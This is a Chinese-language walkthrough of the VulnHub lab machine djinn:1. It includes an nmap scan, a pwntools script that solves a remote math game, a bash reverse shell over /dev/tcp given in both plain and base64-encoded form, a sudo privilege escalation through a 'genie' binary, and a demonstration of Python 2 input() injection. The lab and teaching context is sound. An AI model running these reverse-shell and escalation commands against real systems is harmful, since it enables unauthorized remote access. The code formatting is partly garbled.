靶机实战-vuluhub系列-Hack djinn:1 : walkthrough

nmap -sS -sV -T5 -A -p- 192.168.56.104

anonymous/空主机的IP地址/空自己的e_mail地址/空节点自的IP地址/空admin/空administrator/空

from pwn import *
c = remote('192.168.56.104',1337)
c.recvuntil("nn", drop=True)
for i in range(1001):
    c.recvuntil("(", drop=True)    int1 = c.recvuntil(",", drop=True)
    c.recvuntil("'", drop=True)    mathsym = c.recvuntil("'", drop=True)
    c.recvuntil(", ", drop=True)    int2 = c.recvuntil(")", drop=True)
    equation = int1+mathsym+int2    print(str(i)+"th answer= "+str(equation))
    c.sendlineafter('>',equation)
c.interactive()

bash -i >& /dev/tcp/192.168.56.104/1234 0>&1

echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEwMi8xMjM0IDA+JjE=| base64 -d|bash

python -c 'import pty;pty.spawn("/bin/bash")'  # 有些没有安装Python2，所以需要换成python3 -c

执行了sudo -u sam /usr/bin/genie -p"/bin/sh"，没有得到sam的shell执行了sudo -u sam /usr/bin/genie -cmd whoami得到了sam权限

Working on it!!Choose a number between1 to 100: sEnter your number:Better Luck next timeEnter the full of thefile to read: s!User %s is not allowed to readWhat do you want to do ?Be naughtyGuess the numberRead some damn fileEnter your choice:work your ass off!!

python -m SimpleHTTPServer 8000

#!/usr/bin/env python# visit http://tool.lu/pyc/ for more informationfrom getpass import getuserfrom os import systemfrom random import randintdef naughtyboi():    print 'Working on it!! 'def guessit():    num = randint(1, 101)    #num=1    print 'Choose a number between 1 to 100: '    s = input('Enter your number: ')    if s == num:        system('/bin/sh')    else:        print 'Better Luck next time'def readfiles():    user = getuser()    path = input('Enter the full of the file to read: ')    print 'User %s is not allowed to read %s' % (user, path)def options():    print 'What do you want to do ?'    print '1 - Be naughty'    print '2 - Guess the number'    print '3 - Read some damn files'    print '4 - Work'    choice = int(input('Enter your choice: '))    return choicedef main(op):    if op == 1:        naughtyboi()    elif op == 2:        guessit()    elif op == 3:        readfiles()    elif op == 4:        print 'work your ass off!!'    else:        print 'Do something better with your life'if __name__ == '__main__':    main(options())

s1 =raw_input("Enter input to testraw_input() function: ")printtype(s1)
s2 =raw_input("Enter input to testraw_input() function: ")printtype(s2)
s3 =raw_input("Enter input to testraw_input() function: ")printtype(s3)
s4 =input("Enter input to testinput() function: ")printtype(s4)
s5 =input("Enter input to testinput() function: ")printtype(s5)
s6 =input("Enter input to testinput() function: ")printtype(s6)

你好456[1,2,3]45“再见”[1,2,3]

Enter input totest raw_input() function: <type 'str'>Enter input totest raw_input() function: <type 'str'>Enter input totest raw_input() function: <type 'str'>
Enter input totest input () 函数：<type ' int '>Enter inputtotest input() function: <type ' str '>Enter input to testinput() function: <type ' list '>

import randomsecret_number = random.randint(1,500)print "pick a number between 1 to 500"while True:    res = input("Guess the number:")#输入secret_number#print(secret_number)    #res = raw_input("Guess thenumber: ")#输入secret_number#print(secret_number)if res==secret_number:        print "You win"        break    else:        print "You lose"        continue